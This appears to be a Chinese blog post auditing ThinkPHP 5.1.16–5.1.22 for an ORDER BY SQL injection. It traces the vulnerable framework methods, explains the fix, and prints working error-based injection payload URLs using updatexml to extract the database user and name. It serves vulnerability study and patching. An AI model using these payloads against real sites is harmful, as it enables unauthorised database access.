ThinkPHP5.1.22代码审计【SQL注入】

简介

由于Builder类中的parseOrder方法没有对$key值做严格过滤导致在Mysql类中的parseKey方法处实现恶意拼接,最终导致 SQL注入漏洞 的产生(orderby方法注入)
漏洞影响版本: 5.1.16<=ThinkPHP5<=5.1.22 。

环境搭建
composer create-project --prefer-dist topthink/think=5.1.22 thinkphp_5.1.22

依旧是下载好后还得去github上下载thinphp目录,然后更换,composer下载好的thinkphp目录,地址:https://github.com/top-think/framework/archive/refs/tags/v5.1.22.zip

将index控制器配置成如下:

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        $orderby = request()->get('orderby');
        $result = db('users')->where(['username' => 'DMIND'])->order($orderby)->find();
        var_dump($result);
    }
}
分析1

先正常输入一个id字符,看看流程

http://127.0.0.1/thinkphp_5.1.22/public/index.php/index/index/index/?orderby=id

在这里插入图片描述
通过一个get()方法得到orderby的参数值是id
where()方法会得到where表达式后的一些值,从而赋值给$this->options。
在这里插入图片描述

这里$filed=id字符串传进来,在order()中主要执行以下代码:

if (strpos($field, ',')) {
	$field = array_map('trim', explode(',', $field));
} else {
	$field = empty($order) ? $field : [$field => $order];
}
if (!isset($this->options['order'])) {
	$this->options['order'] = [];
}

$this->options['order'][] = $field;

return $this;

如果是数组传进来:

 if (is_array($field)) {
     $this->options['order'] = array_merge($this->options['order'], $field);
 }

parseOptions()处理后往$this->options中添加了order数组:
在这里插入图片描述

然后到find(),会生成查询SQL语句,然后执行、返回。
在这里插入图片描述
主要关注如何生成SQL语句的,跟进Builder类下的select方法,也是通过一系列方法对既定语句进行值替换,
在这里插入图片描述

其中我们关注parseOrder()方法,主要是通过list函数给$key$val变量赋值
在这里插入图片描述

这里parseKey()是Mysql类的 在这个方法中,跟进后有这么一段代码

if ('*' != $key && ($strict || !preg_match('/[,\'\"\*\(\)`.\s]/', $key))) {
            $key = '`' . $key . '`';
}

那么只要$key不为*就可以进入反引号的拼接,因为这里的$strict的值一开始就被赋值为true了后面的正则匹配也就不影响我们进入反引号的拼接。这里的拼接是会影响到SQL语句的,所以漏洞也发生在这儿。那么这里我们$key是以值id传入,自然会在两侧拼接反引号
在这里插入图片描述
然后就会返回到parseOrder()中执行以下,

 return ' ORDER BY ' . implode(',', $array);

会返回以下内容拼接到SQL语句中:

ORDER BY `id`

那么最后会有这样的SQL语句:

SELECT * FROM `users` WHERE  `username` = :where_AND_username ORDER BY `id` LIMIT 1  

这语句很正常,因为我们是以正常的思路来走的,但别忘了ORDER BY id 这里是有问题的,也就是反引号拼接处。我们以下面这payload尝试一下:

分析2
http://127.0.0.1/thinkphp_5.1.22/public/index.php/index/index/index/?orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1

直接来到MySQL类下的parseKey(),其中的$key$val也就是我们传参时数组的key与value值
在这里插入图片描述
那么它在经过这个有问题的正则后就被有问题的拼接到SQL语句中了

if ('*' != $key && ($strict || !preg_match('/[,\'\"\*\(\)`.\s]/', $key))) {
            $key = '`' . $key . '`';
}

return的值是:

`id`|updatexml(1,concat(0x7,user(),0x7e),1)#`

拼接到SQL语句中是:

SELECT * FROM `users` WHERE  `username` = :where_AND_username ORDER BY `id`|updatexml(1,concat(0x7,user(),0x7e),1)#` LIMIT 1  

很明显可以触发报错



看到还有一种将构造语句放在键值中的payload:

http://127.0.0.1/thinkphp_5.1.22/public/index.php/index/index/index/?orderby[]=id`,updatexml(1,concat(0x7e,database(),0x7e),1)%23

原因在于执行Builder类下parseOrder方法时:

foreach ($order as $key => $val) {
		..........
		
		else {
        if (is_numeric($key)) {
            list($key, $sort) = explode(' ', strpos($val, ' ') ? $val : $val . ' ');
        } else {
            $sort = $val;
		}
}

如果我们的语句放在键名中,就不会执行list函数,$key自然就是我们构造的值。
如果我们的语句放在键值中,$key就会等于0而执行list函数,键值中的语句同样被赋给$key

总而言之,最终只要$key是我们构造的语句就会在MySQL类下的parseKey()方法中拼接成功,触发SQL注入了

payload
http://127.0.0.1/thinkphp_5.1.22/public/index.php/index/index/index/?orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1

http://127.0.0.1/thinkphp_5.1.22/public/index.php/index/index/index/?orderby[]=id`,updatexml(1,concat(0x7e,database(),0x7e),1)%23

七月火师傅的流程攻击流程图:
在这里插入图片描述

修复

改进了order方法,在进入MySQL类下的parseKey()方法前,先检查$key中是否包含)#这俩字符
在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值